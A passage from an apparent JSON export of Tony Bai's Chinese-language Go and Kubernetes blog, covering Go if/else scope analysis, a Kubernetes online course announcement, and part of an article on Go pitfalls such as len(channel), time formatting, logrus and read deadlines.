href=\"https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch\"\u003ekubernetes项目\u003c/a\u003e中\u003cstrong\u003ecluster/addons/fluentd-elasticsearch\u003c/strong\u003e下面的全套yaml文件，yaml中Elastic Search的volume用的还是emptyDir，并未真正持久化。\u003c/p\u003e","title":"在Kubernetes 1.10.3上以Hard模式搭建EFK日志分析平台"},{"content":"近期，Go team的David CrawShaw在twitter上贴出了一段代码，如下：\nfunc main() { if a := 1; false { } else if b := 2; false { } else if c := 3; false { } else { println(a, b, c) } } David CrawShaw想表达的意图是gopher们很少在”else if”后面的simple statement中使用“短变量声明”形式，而这段代码是个例外。我们看到b、c两个变量都是在else if 的simple statement中使用短变量声明形式定义的。\n我个人看到这段代码后，第一反应是：这段代码能编译运行吗？else语句中的“println(a, b, c)”是否会被compiler报出：undefined b, c的错误呢？不知道是否有其他的gopher们与我有同样的反应:)。无论怎样，既然有了疑问，我们就应该把它分析清楚。\n一. Go代码块和作用域简介 根据Go语言的规范，我们知道Go的标识符作用域是基于代码块（code block）的。代码块就是包裹在一对大括号内部的声明和语句，并且是可嵌套的。我们在代码中直观可见的显式的(explicit)code block有很多，比如：函数的函数体、for循环的循环体等：\nfunc Foo() { // here：显式的(explict block)代码块，包裹在函数的函数体内 ... ... for { // here: 显式的(explict block)代码块，包裹在for循环体内 // 该代码块就嵌套在函数体这个代码块的内部 ... ... } } 但除了显式explict的code block，Go语言中还有几种隐式的(implicit)代码块，它们都是什么呢？这里摘录下go spec原文（不翻译了）：\n1. The universe block encompasses all Go source text. 2. Each package has a package block containing all Go source text for that package. 3. Each file has a file block containing all Go source text in that file. 4. Each \u0026quot;if\u0026quot;, \u0026quot;for\u0026quot;, and \u0026quot;switch\u0026quot; statement is considered to be in its own implicit block. 5. Each clause in a \u0026quot;switch\u0026quot; or \u0026quot;select\u0026quot; statement acts as an implicit block. 我们看到if语句会引入一个隐式的code block，这为我们后续的分析奠定了基础。\n二. if语句的code block 那么if语句的code block详细情况如何呢？我们分门别类地简单看看：\n1. if _ 型 我们使用最多的if语句类型就是单if型，即:\nif simplestmt; expression { ... ... } 在这种类型的if语句中，有两个code block：一个隐式的code block和一个显式的code block。我们把上面的形式代码做一个等价变化，并加上code block起始和结束点的标注，结果如下：\n{ // implicit block begin simplestmt if expression { // explicit block begin ... ... } // explicit block end } // implicit block end 我们看到if后面的”大括号对”引入的explict code block嵌套在if simplestmt所在的implicit code block内部，这也是为何simplestmt中用短声明形式定义的变量在explict block中可以使用的原因：\nfunc main() { if a := 1; true { fmt.Println(a) // output: 1 } } 2. if _ else _ 型 我们再来看看if _ else _ 型：\nif simplestmt; expression { ... ... } else { ... ... } 分析逻辑同上，我们将上面的伪代码做一个等价变换，并作出code block起始结束点标注：\n{ // implicit block begin simplestmt if expression { // explicit block1 begin ... ... } else { // explicit block1 end, explicit block2 start ... ... } //explicit block2 end } // implicit block end 我们看到if _ else _ 型 有三个code block，除了单if型的两个block外，还由else引入一个explict code block（即上面代码中的explict block2）。\n3. if _ else if _ else _ 型 最后我们来看看最为复杂的if _ else if _ else _ 型：\nif simplestmt1; expression1 { ... ... } else if simplestmt2; expression2 { ... ... } else { ... ... } 我们依旧将上面的伪代码做一个等价变换，并作出code block起始结束点标注，结果如下：\n{ // implicit block1 begin simplestmt1 if expression { // explicit block1 begin ... ... } else { // explicit block1 end, explicit block2 start { // implicit block2 begin simplestmt2 if expression2 { // explicit block3 start } else { // explicit block3 end, explicit block4 start } // explicit block4 end } // implicit block2 end } //explicit block2 end } // implicit block1 end 我们看到在该类型下，我们一共识别出两个implict block和四个explict block。\n三. 对David CrawShaw贴出的那段代码的分析 有了第二节的基础，再来看David CrawShaw的这段代码：\nfunc main() { if a := 1; false { } else if b := 2; false { } else if c := 3; false { } else { println(a, b, c) } } 依照我们的思路，我们可以对这段代码做一个等价变化：\nfunc main() { { a := 1 if false { } else { { b := 2 if false { } else { { c := 3 if false { } else { println(a, b, c) } } } } } } } 展开后的语句就很是一目了然了，不用说什么大家也会很清楚了。最重要的一点是原来代码中最后的那个else实际上是与最内层的else if配对的，而不是与最开始的if配对的，因此println(a, b, c)的时候，a, b, c三个变量都是已经声明定义了的(在外层的code block中)。\n对于此类涉及code block或变量作用域的问题，还可以通过go vet -shadow工具来辨别，或通过go run执行后的出错信息来辨别，这里就不详细说明了。\n四. 参考资料 Go language specification Go 101: Code Blocks And Identifier Scopes 51短信平台：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/05/11/the-analysis-of-a-go-code-snippet-about-code-blocks-and-scope/","summary":"\u003cp\u003e近期，\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e team的\u003ca href=\"https://github.com/crawshaw\"\u003eDavid CrawShaw\u003c/a\u003e在\u003ca href=\"https://twitter.com/davidcrawshaw\"\u003etwitter\u003c/a\u003e上贴出了一段代码，如下：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efunc main() {\n    if a := 1; false {\n    } else if b := 2; false {\n    } else if c := 3; false {\n    } else {\n        println(a, b, c)\n    }\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eDavid CrawShaw想表达的意图是gopher们很少在”else if”后面的simple statement中使用\u003ca href=\"https://golang.org/ref/spec#Short_variable_declarations\"\u003e“短变量声明”\u003c/a\u003e形式，而这段代码是个例外。我们看到b、c两个变量都是在else if 的simple statement中使用短变量声明形式定义的。\u003c/p\u003e","title":"对一段有关Go Code Block和变量作用域的代码的简要分析"},{"content":"这两年一直在做一个基于Kubernetes的、用于互联网产品运营支撑的类PaaS平台，因此一直把自己定位为一个Kubernetes实践者：以Kubernetes为中心进行集群搭建、运维、k8s相关技术的理解与应用、k8s新技术的追踪和尝试落地等。不过就Kubernetes的深入程度来说，感觉自己和那些天天与k8s打交道的大厂专家或以容器云为卖点的技术专家还是有差距的。但是大厂专家每周996，闲暇时间不多，这让他们无暇系统化地传道受业解惑，而我却有一些闲暇时间来写写有关Kubernetes的知识和经验。于是在春节前，一次机缘巧合，和慕课网“勾搭上了”并达成一致：在慕课网做一门有关Kubernetes的课程。\n按照慕课网的要求，我要先上一门有关Kubernetes的免费公开课。于是经过“漫长”的录制和制作后，我的第一门在线网课《Kubernetes：开启云原生之门》于今天在慕课网正式上线了。\n**课程链接：https://www.imooc.com/learn/978 **\n一. 课程介绍 先来简单介绍一下这门不到2小时的免费课程。\n容器技术和Kubernetes重新定义了现在以及未来十年基础设施承载云原生应用的形式，作为CNCF基金会下面的首席托管项目，Kubernetes在2017年击败swarm和mesos，成为了容器管理与调度编排领域的首选平台和事实标准。今年年初，CNCF又宣布Kubernetes正式毕业，标志着Kubernetes作为一个开源项目已经成熟，并且具有足够的韧性，可以在任何行业和各种规模的公司的生产环境中大规模应用了。Kubernetes存在的意义还不仅仅局限于容器编排解决方案，其最终使命应该是成为云计算时代的新一代应用上云的首选平台，成为支撑云原生应用部署运行的新一代”云平台”。\n对于普通开发人员来说，Kubernetes虽然结构简单，但规模“庞大”，所涉技术与生态圈外延较广，学习曲线较为陡峭。我的这门基础课就定位于帮助大家降低学习门槛，打开通往k8s平台支撑的云原生的大门的。\n这门课程共分为五个部分。\n第一部分：了解一下应用部署运行模式的变迁历史，弄清楚每种应用部署运行模式的特点、对开发者的影响以及模式演进的趋势。\n第二部分：了解Kubernetes究竟是什么? 我们为什么要使用Kubernetes，它能给开发者带来哪些好处？\n第三部分：实际操作如何在Kubernetes集群上部署和管理一个应用。\n第四部分：学习一下Kubernetes的架构、组件以及组件功用。\n第五部分：以Kubernetes对象模型为主线，一起来学习一下Kubernetes的基本概念。\n通过这门课程的学习，我期望大家能掌握如下知识和技能：\n1、Kubernetes是什么？\n2、为什么要使用Kubernetes? Kubernetes给开发者带来哪些好处？\n3、如何在Kubernetes集群上部署和管理一个应用\n4、Kubernetes的架构\n5、Kubernetes的组件与功用\n6、Kubernetes对象模型以及基础概念\n课程针对的对象也很宽泛，对于那些对容器、Kubernetes感兴趣的开发、测试、运维人员；架构师和技术决策者；技术爱好者都可以观看一下该课程视频。同时，这个课程也将起到“承上启下”的作用，为后续在慕课网的Kubernetes实战课（录制中）做铺垫。\n二. 录课心得 这是我第一次录网课，完全没有经验可谈。还好在录课准备期间，慕课网的胡老师给予我很专业的支持。\n作为网课讲师，首先要做的其实是学习，即按照委托方对课程的要求，进行ppt结构与形式制作（按照模板）、音视频基础剪辑等方面的学习。一定的剪辑技能可以让你在录制过程中减少很多重复录制，节省不少的精力和时间。\n其次，课程定位与内容规划。课程定位是首先要和委托方课程接口人做详细交流，达成一致的，要明确课程难度级别、课程受众对象以及课程的内容重点。内容规划就基本上是你的专业领域的事情了，当然委托方教学接口人会根据他的经验给予你有关课程内容规划的一些很好的建议。\n最后就是录制过程了。录制过程其实是“很辛苦”的，要习惯于一个人长时间的独处。由于是利用业余时间录制并且有录制环境要求（至少是安静、无人打扰吧），一周下来其实满足条件的时间窗口并不多。我个人基本上是工作日晚上准备录制脚本、环境和demo例子，周末两天集中录制。录制脚本这块我没有什么诀窍，我的笨招就是将要表述的都写到一个文件中，像台词一样在录制的时候读出来。这样可以保证每段视频是可以被Reproduce的:)。那些实际操作的演示环节，也会按照之前列出的要点进行。\n所以录制的这段时间内，基本上是没有周末的，都是待在家里不出门。即便有事的时候，比如陪着孩子去上补习班时，我也是带着笔记本的，编写一些录制脚本或优化一些台词。\n三. 小结 应用上云，以前都是考虑虚拟机、OpenStack之类的技术栈，现在是时候考虑Kubernetes了。并且在面向容器化应用、云原生应用开发和运维方面，一批旨在降低开发难度、改善开发体验的开源项目正在兴起，比如号称云原生应用标准库的metaparticle-io、CoreOS的operator framework等。\n即便你不会亲手搭建和运维Kubernetes集群，而仅仅是使用现成的基于k8s的容器云服务，那么通过本门课程了解一下Kubernetes的基础知识也是大有裨益的。说不定将来”kubernetes first”或”kubernetes-oriented”会成为时髦的技术词汇。\n由于是第一次录制网课，在声音和表达技巧方面显得都不够专业，还望理解。同时也欢迎各位小伙伴针对这门课程参与交流讨论，多提宝贵建议和意见。\n最后，感谢慕课网胡老师对本门课程的耐心和专业指导。\n补充：本门免费课对应的实战课程《Kubernetes实战 高可用集群搭建、配置、运维与应用》已经上线，欢迎大家参与学习和交流。\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/05/02/imooc-course-kubernetes-open-the-gate-to-cloudnative-go-online/","summary":"\u003cp\u003e这两年一直在做一个基于\u003ca href=\"https://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e的、用于互联网产品运营支撑的类PaaS平台，因此一直把自己定位为一个Kubernetes实践者：以Kubernetes为中心进行\u003ca href=\"https://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003e集群搭建\u003c/a\u003e、运维、k8s相关技术的理解与应用、k8s新技术的追踪和尝试落地等。不过就Kubernetes的深入程度来说，感觉自己和那些天天与k8s打交道的大厂专家或以容器云为卖点的技术专家还是有差距的。但是大厂专家每周996，闲暇时间不多，这让他们无暇系统化地传道受业解惑，而我却有一些闲暇时间来写写有关Kubernetes的知识和经验。于是在春节前，一次机缘巧合，和慕课网“勾搭上了”并达成一致：在慕课网做一门有关Kubernetes的课程。\u003c/p\u003e\n\u003cp\u003e按照慕课网的要求，我要先上一门有关Kubernetes的免费公开课。于是经过“漫长”的录制和制作后，我的第一门在线网课\u003ca href=\"https://www.imooc.com/learn/978\"\u003e《Kubernetes：开启云原生之门》\u003c/a\u003e于今天在慕课网正式上线了。\u003c/p\u003e","title":"慕课网免费课“Kubernetes：开启云原生之门”上线"},{"content":"我有一个习惯，那就是随时记录下编程过程中遇到的问题（包括问题现场、问题起因以及对问题的分析），并喜欢阶段性的对一段时间内的编码过程的得与失进行回顾和总结。内容可以包括：对编程语法的新认知、遇坑填坑的经历、一些让自己豁然开朗的小tip/小实践等。记录和总结的多了，感觉有价值的，就成文发在博客上的；一些小的点，或是还没有想清楚的事情，或思路没法结构化统一的，就放在资料库里备用。“写Go代码时遇到的那些问题”这个系列也是基于这个思路做的。\n在这一篇中，我把“所遇到的问题”划分为三类：语言类、库与工具类、实践类，这样应该更便于大家分类阅读和理解。另外借这篇文章，我们先来看一下Go语言当前的State，资料来自于twitter、reddit、golang-dev forum、github上golang项目的issue/cl以及各种gophercon的talk资料。\n零. Go语言当前状态 1. vgo Go 1.10在中国农历春节期间正式发布。随后Go team进入了Go 1.11的开发周期。\n在2017年的Go语言用户调查报告结果中，缺少良好的包管理工具以及Generics依然是Gopher面临的最为棘手的挑战和难题的Top2，Go team也终于开始认真对待这两个问题了，尤其是包依赖管理的问题。在今年2月末，Russ Cox在自己的博客上连续发表了七篇博文，详细阐述了vgo – 带版本感知和支持的Go命令行工具的设计思路和实现方案，并在3月末正式提交了”versioned-go proposal“。\n目前相对成熟的包管理方案是:\n\u0026quot;语义化版本\u0026quot; +manifest文件(手工维护的依赖约束描述文件) +lock文件(工具自动生成的传递依赖描述文件) +版本选择引擎工具（比如dep中的gps - Go Packaging Solver） 与之相比，vgo既有继承，更有创新。继承的是对语义化版本的支持，创新的则是semantic import versioning、最小版本选择minimal version selection等新机制，不变的则是对Go1语法的兼容。按照Russ Cox的计划，Go 1.11很可能会提供一个试验性的vgo实现（当然vgo所呈现的形式估计是merge到go tools中），让广大gopher试用和反馈，然后会像vendor机制那样，在后续Go版本中逐渐成为默认选项。\n2. wasm porting 知名开源项目gopherjs的作者Richard Musiol上个月提交了一个proposal: WebAssembly architecture for Go，主旨在于让Gopher也可以用Go编写前端代码，让Go编写的代码可以在浏览器中运行。当然这并不是真的让Go能像js那样直接运行于浏览器或nodejs上，而是将Go编译为WebAssembly，wasm中间字节码，再在浏览器或nodejs初始化的运行环境中运行。这里根据自己的理解粗略画了一幅二进制机器码的go app与中间码的wasm的运行层次对比图，希望对大家有用：\nwasm porting已经完成了第一次commit ，很大可能会随着go1.11一并发布第一个版本。\n3. 非协作式的goroutine抢占式调度 当前goroutine的“抢占式”调度依靠的是compiler在函数中自动插入的“cooperative preemption point”来实现的，但这种方式在使用过程中依然有各种各样的问题，比如：检查点的性能损耗、诡异的全面延迟问题以及调试上的困难。近期负责go runtime gc设计与实现的Austin Clements提出了一个proposal：non-cooperative goroutine preemption ，该proposal将去除cooperative preemption point，而改为利用构建和记录每条指令的stack和register map的方式实现goroutine的抢占， 该proposal预计将在go 1.12中实现。\n4. Go的历史与未来 在GopherConRu 2018大会上，来自Go team的核心成员Brad Fitzpatrick做了“Go的历史与未来”的主题演讲 ，Bradfitz“爆料”了关于Go2的几个可能，考虑到Bradfitz在Go team中的位置，这些可能性还是具有很大可信度的：\n1). 绝不像Perl6和Python3那样分裂社区 2). Go1的包可以import Go2的package 3). Go2很可能加入Generics，Ian Lance Taylor应该在主导该Proposal 4). Go2在error handling方面会有改进，但不会是try--catch那种形式 5). 相比于Go1，Go2仅会在1-3个方面做出重大变化 6). Go2可能会有一个新的标准库，并且该标准库会比现有的标准库更小，很多功能放到标准库外面 7). 但Go2会在标准库外面给出最流行、推荐的、可能认证的常用包列表，这些在标准库外面的包可以持续更新，而不像那些在标准库中的包，只能半年更新一次。 一. 语言篇 1. len(channel)的使用 len是Go语言的一个built-in函数，它支持接受array、slice、map、string、channel类型的参数，并返回对应类型的”长度” – 一个整型值：\nlen(s) 如果s是string，len(s)返回字符串中的字节个数 如何s是[n]T, *[n]T的数组类型，len(s)返回数组的长度n 如果s是[]T的Slice类型，len(s)返回slice的当前长度 如果s是map[K]T的map类型，len(s)返回map中的已定义的key的个数 如果s是chan T类型，那么len(s)返回当前在buffered channel中排队（尚未读取）的元素个数 不过我们在代码经常见到的是len函数针对数组、slice、string类型的调用，而len与channel的联合使用却很少。那是不是说len(channel)就不可用了呢？我们先来看看len(channel)的语义。\n当channel为unbuffered channel时，len(channel)总是返回0； 当channel为buffered channel时，len(channel)返回当前channel中尚未被读取的元素个数。 这样一来，所谓len(channel)中的channel就是针对buffered channel。len(channel)从语义上来说一般会被用来做“判满”、”判有”和”判空”逻辑：\n// 判空 if len(channel) == 0 { // 这时：channel 空了 ? } // 判有 if len(channel) \u0026gt; 0 { // 这时：channel 有数据了 ? } // 判满 if len(channel) == cap(channel) { // 这时: channel 满了 ? } 大家看到了，我在上面代码中注释：“空了”、“有数据了”和“满了”的后面打上了问号！channel多用于多个goroutine间的通讯，一旦多个goroutine共同读写channel，len(channel)就会在多个goroutine间形成”竞态条件”，单存的依靠len(channel)来判断队列状态，不能保证在后续真正读写channel的时候channel状态是不变的。以判空为例：\n从上图可以看到，当goroutine1使用len(channel)判空后，便尝试从channel中读取数据。但在真正从Channel读数据前，另外一个goroutine2已经将数据读了出去，goroutine1后面的读取将阻塞在channel上，导致后面逻辑的失效。因此，为了不阻塞在channel上，常见的方法是将“判空与读取”放在一起做、将”判满与写入”一起做，通过select实现操作的“事务性”：\n//writing-go-code-issues/3rd-issue/channel_len.go/channel_len.go.go func readFromChan(ch \u0026lt;-chan int) (int, bool) { select { case i := \u0026lt;-ch: return i, true default: return 0, false // channel is empty } } func writeToChan(ch chan\u0026lt;- int, i int) bool { select { case ch \u0026lt;- i: return true default: return false // channel is full } } 我们看到由于用到了Select-default的trick，当channel空的时候，readFromChan不会阻塞；当channel满的时候，writeToChan也不会阻塞。这种方法也许适合大多数的场合，但是这种方法有一个“问题”，那就是“改变了channel的状态”：读出了一个元素或写入了一个元素。有些时候，我们不想这么做，我们想在不改变channel状态下单纯地侦测channel状态！很遗憾，目前没有哪种方法可以适用于所有场合。但是在特定的场景下，我们可以用len(channel)实现。比如下面这个场景：\n这是一个“多producer + 1 consumer”的场景。controller是一个总控协程，初始情况下，它来判断channel中是否有消息。如果有消息，它本身不消费“消息”，而是创建一个consumer来消费消息，直到consumer因某种情况退出，控制权再回到controller，controller不会立即创建new consumer，而是等待channel下一次有消息时才创建。在这样一个场景中，我们就可以使用len(channel)来判断是否有消息。\n2. 时间的格式化输出 时间的格式化输出是日常编程中经常遇到的“题目”。以前使用C语言编程时，用的是strftime。我们来回忆一下c的代码：\n// writing-go-code-issues/3rd-issue/time-format/strftime_in_c.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;time.h\u0026gt; int main() { time_t now = time(NULL); struct tm *localTm; localTm = localtime(\u0026amp;now); char strTime[100]; strftime(strTime, sizeof(strTime), \u0026quot;%Y-%m-%d %H:%M:%S\u0026quot;, localTm); printf(\u0026quot;%s\\n\u0026quot;, strTime); return 0; } 这段c代码输出结果是：\n2018-04-04 16:07:00 我们看到strftime采用“字符化”的占位符(诸如：%Y、%m等)“拼”出时间的目标输出格式布局（如：”%Y-%m-%d %H:%M:%S”），这种方式不仅在C中采用，很多其他主流编程语言也采用了该方案，比如:shell、python、ruby、java等，这似乎已经成为了各种编程语言在时间格式化输出的标准。这些占位符对应的字符（比如Y、M、H）是对应英文单词的头母，因此相对来说较为容易记忆。\n但是如果你在Go中使用strftime的这套“标准”，看到输出结果的那一刻，你肯定要“骂娘”！\n// writing-go-code-issues/3rd-issue/time-format/timeformat_in_c_way.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;time\u0026quot; ) func main() { fmt.Println(time.Now().Format(\u0026quot;%Y-%m-%d %H:%M:%S\u0026quot;)) } 上述go代码输出结果如下：\n%Y-%m-%d %H:%M:%S Go居然将“时间格式占位符字符串”原封不动的输出了!\n这是因为Go另辟了蹊径，采用了不同于strftime的时间格式化输出的方案。Go的设计者主要出于这样的考虑：虽然strftime的单个占位符使用了对应单词的首字母的形式，但是但真正写起代码来，不打开strftime函数的manual或查看网页版的strftime助记符说明，很难真的拼出一个复杂的时间格式。并且对于一个”%Y-%m-%d %H:%M:%S”的格式串，不对照文档，很难在大脑中准确给出格式化后的时间结果，比如%Y和%y有何不同、%M和%m又有何差别呢？\nGo语言采用了更为直观的“参考时间(reference time)”替代strftime的各种标准占位符，使用“参考时间”构造出来的“时间格式串”与最终输出串是“一模一样”的，这就省去了程序员再次在大脑中对格式串进行解析的过程：\n格式串：\u0026quot;2006年01月02日 15时04分05秒\u0026quot; =\u0026gt; 输出结果：2018年04月04日 18时13分08秒 标准的参考时间如下：\n2006-01-02 15:04:05 PM -07:00 Jan Mon MST 这个绝对时间本身并没有什么实际意义，仅是出于“好记”的考虑，我们将这个参考时间换为另外一种时间输出格式：\n01/02 03:04:05PM '06 -0700 我们看出Go设计者的“用心良苦”，这个时间其实恰好是将助记符从小到大排序(从01到07)的结果，可以理解为：01对应的是%M, 02对应的是%d等等。下面这幅图形象地展示了“参考时间”、“格式串”与最终格式化的输出结果之间的关系：\n就我个人使用go的经历来看，我在做时间格式化输出时，尤其是构建略微复杂的时间格式输出时，也还是要go doc time包或打开time包的web手册的。从社区的反馈来看，很多Gopher也都有类似经历，尤其是那些已经用惯了strftime格式的gopher。甚至有人专门做了“Fucking Go Date Format”页面，来帮助自动将strftime使用的格式转换为go time的格式。\n下面这幅cheatsheet也能提供一些帮助(由writing-go-code-issues/3rd-issue/time-format/timeformat_cheatsheet.go输出生成)：\n二. 库与工具篇 1. golang.org/x/text/encoding/unicode遇坑一则 在gocmpp这个项目中，我用到了unicode字符集转换：将utf8转换为ucs2(utf16)、ucs2转换为utf8、utf8转为GB18030等。这些转换功能，我是借助golang.org/x/text这个项目下的encoding/unicode和transform实现的。x/text是golang官方维护的text处理的工具包，其中包含了对unicode字符集的相关操作。\n要实现一个utf8到ucs2(utf16)的字符集转换，只需像如下这样实现即可（这也是我的最初实现）：\nfunc Utf8ToUcs2(in string) (string, error) { if !utf8.ValidString(in) { return \u0026quot;\u0026quot;, ErrInvalidUtf8Rune } r := bytes.NewReader([]byte(in)) //UTF-16 bigendian, no-bom t := transform.NewReader(r, unicode.All[1].NewEncoder()) out, err := ioutil.ReadAll(t) if err != nil { return \u0026quot;\u0026quot;, err } return string(out), nil } 这里要注意是unicode.All这个切片保存着UTF-16的所有格式：\nvar All = []encoding.Encoding{ UTF16(BigEndian, UseBOM), UTF16(BigEndian, IgnoreBOM), UTF16(LittleEndian, IgnoreBOM), } 这里我最初我用的是All[1]，即UTF16(BigEndian, IgnoreBOM)，一切都是正常的。\n但就在年前，我将text项目更新到最新版本，然后发现单元测试无法通过：\n--- FAIL: TestUtf8ToUcs2 (0.00s) utils_test.go:58: The first char is fe, not equal to expected 6c FAIL FAIL github.com/bigwhite/gocmpp/utils 0.008s 经查找发现：text项目的golang.org/x/text/encoding/unicode包做了不兼容的修改，上面那个unicode.All切片变成了下面这个样子：\n// All lists a configuration for each IANA-defined UTF-16 variant. var All = []encoding.Encoding{ UTF8, UTF16(BigEndian, UseBOM), UTF16(BigEndian, IgnoreBOM), UTF16(LittleEndian, IgnoreBOM), } All切片在最前面插入了一个UTF8元素，这样导致我的代码中原本使用的 UTF16(BigEndian, IgnoreBOM)变成了UTF16(BigEndian, UseBOM)，test不过也就情有可原了。\n如何改呢？这回儿我直接使用UTF16(BigEndian, IgnoreBOM)，而不再使用All切片了：\nfunc Utf8ToUcs2(in string) (string, error) { if !utf8.ValidString(in) { return \u0026quot;\u0026quot;, ErrInvalidUtf8Rune } r := bytes.NewReader([]byte(in)) //UTF-16 bigendian, no-bom t := transform.NewReader(r, unicode.UTF16(unicode.BigEndian, unicode.IgnoreBOM).NewEncoder()) out, err := ioutil.ReadAll(t) if err != nil { return \u0026quot;\u0026quot;, err } return string(out), nil } 这样即便All切片再有什么变动，我的代码也不会受到什么影响了。\n2. logrus的非结构化日志定制输出 在该系列的第一篇文章中，我提到过使用logrus+lumberjack来实现支持rotate的logging。\n默认情况下日志的输出格式是这样的（writing-go-code-issues/3rd-issue/logrus/logrus2lumberjack_default.go）：\ntime=\u0026quot;2018-04-05T06:08:53+08:00\u0026quot; level=info msg=\u0026quot;logrus log to lumberjack in normal text formatter\u0026quot; 这样相对结构化的日志比较适合后续的集中日志分析。但是日志携带的“元信息(time、level、msg)”过多，并不是所有场合都倾向于这种日志，于是我们期望以普通的非结构化的日志输出，我们定制formatter：\n// writing-go-code-issues/3rd-issue/logrus/logrus2lumberjack.go func main() { customFormatter := \u0026amp;logrus.TextFormatter{ FullTimestamp: true, TimestampFormat: \u0026quot;2006-01-02 15:04:05\u0026quot;, } logger := logrus.New() logger.Formatter = customFormatter rotateLogger := \u0026amp;lumberjack.Logger{ Filename: \u0026quot;./foo.log\u0026quot;, } logger.Out = rotateLogger logger.Info(\u0026quot;logrus log to lumberjack in normal text formatter\u0026quot;) } 我们使用textformatter，并定制了时间戳的格式，输出结果如下：\ntime=\u0026quot;2018-04-05 06:22:57\u0026quot; level=info msg=\u0026quot;logrus log to lumberjack in normal text formatter\u0026quot; 日志仍然不是我们想要的那种。但同样的customFormatter如果输出到terminal，结果却是我们想要的：\n//writing-go-code-issues/3rd-issue/logrus/logrus2tty.go INFO[2018-04-05 06:26:16] logrus log to tty in normal text formatter 到底如何设置TextFormatter的属性才能让我们输出到lumberjack中的日志格式是我们想要的这种呢？无奈下只能挖logrus的源码了，我们找到了这段代码：\n//github.com/sirupsen/logrus/text_formatter.go // Format renders a single log entry func (f *TextFormatter) Format(entry *Entry) ([]byte, error) { ... ... isColored := (f.ForceColors || f.isTerminal) \u0026amp;\u0026amp; !f.DisableColors timestampFormat := f.TimestampFormat if timestampFormat == \u0026quot;\u0026quot; { timestampFormat = defaultTimestampFormat } if isColored { f.printColored(b, entry, keys, timestampFormat) } else { if !f.DisableTimestamp { f.appendKeyValue(b, \u0026quot;time\u0026quot;, entry.Time.Format(timestampFormat)) } f.appendKeyValue(b, \u0026quot;level\u0026quot;, entry.Level.String()) if entry.Message != \u0026quot;\u0026quot; { f.appendKeyValue(b, \u0026quot;msg\u0026quot;, entry.Message) } for _, key := range keys { f.appendKeyValue(b, key, entry.Data[key]) } } b.WriteByte('\\n') return b.Bytes(), nil } 我们看到如果isColored为false，输出的就是带有time, msg, level的结构化日志；只有isColored为true才能输出我们想要的普通日志。isColored的值与三个属性有关：ForceColors 、isTerminal和DisableColors。我们按照让isColored为true的条件组合重新设置一下这三个属性，因为输出到file，因此isTerminal自动为false。\n//writing-go-code-issues/3rd-issue/logrus/logrus2lumberjack_normal.go func main() { // isColored := (f.ForceColors || f.isTerminal) \u0026amp;\u0026amp; !f.DisableColors customFormatter := \u0026amp;logrus.TextFormatter{ FullTimestamp: true, TimestampFormat: \u0026quot;2006-01-02 15:04:05\u0026quot;, ForceColors: true, } logger := logrus.New() logger.Formatter = customFormatter rotateLogger := \u0026amp;lumberjack.Logger{ Filename: \u0026quot;./foo.log\u0026quot;, } logger.Out = rotateLogger logger.Info(\u0026quot;logrus log to lumberjack in normal text formatter\u0026quot;) } 我们设置ForceColors为true后，在foo.log中得到了我们期望的输出结果：\nINFO[2018-04-05 06:33:22] logrus log to lumberjack in normal text formatter 三. 实践篇 1. 说说网络数据读取timeout的处理 – 以SetReadDeadline为例 Go天生适合于网络编程，但网络编程的复杂性也是有目共睹的、要写出稳定、高效的网络端程序，需要的考虑的因素有很多。比如其中之一的：从socket读取数据超时的问题。\nGo语言标准网络库并没有实现epoll实现的那样的**“idle timeout”**，而是提供了Deadline机制，我们用一副图来对比一下两个机制的不同：\n看上图a)和b)展示了”idle timeout”机制，所谓idle timeout就是指这个timeout是真正在没有data ready的情况的timeout（如图中a)，如果有数据ready可读(如图中b)，那么timeout机制暂停，直到数据读完后，再次进入数据等待的时候，idle timeout再次启动。\n而deadline(以read deadline为例)机制，则是无论是否有数据ready以及数据读取活动，都会在到达时间（deadline）后的再次read时返回timeout error，并且后续的所有network read operation也都会返回timeout（如图中d），除非重新调用SetReadDeadline(time.Time{})取消Deadline或在再次读取动作前重新重新设定deadline实现续时的目的。Go网络编程一般是“阻塞模型”，那为什么还要有SetReadDeadline呢，这是因为有时候，我们要给调用者“感知”其他“异常情况”的机会，比如是否收到了main goroutine发送过来的退出通知信息。\nDeadline机制在使用起来很容易出错，这里列举两个曾经遇到的出错状况：\na) 以为SetReadDeadline后，后续每次Read都可能实现idle timeout\n在上图中，我们看到这个流程是读取一个完整业务包的过程，业务包的读取使用了三次Read调用，但是只在第一次Read前调用了SetReadDeadline。这种使用方式仅仅在Read A时实现了足额的“idle timeout”，且仅当A数据始终未ready时会timeout；一旦A数据ready并已经被Read，当Read B和Read C时，如果还期望足额的“idle 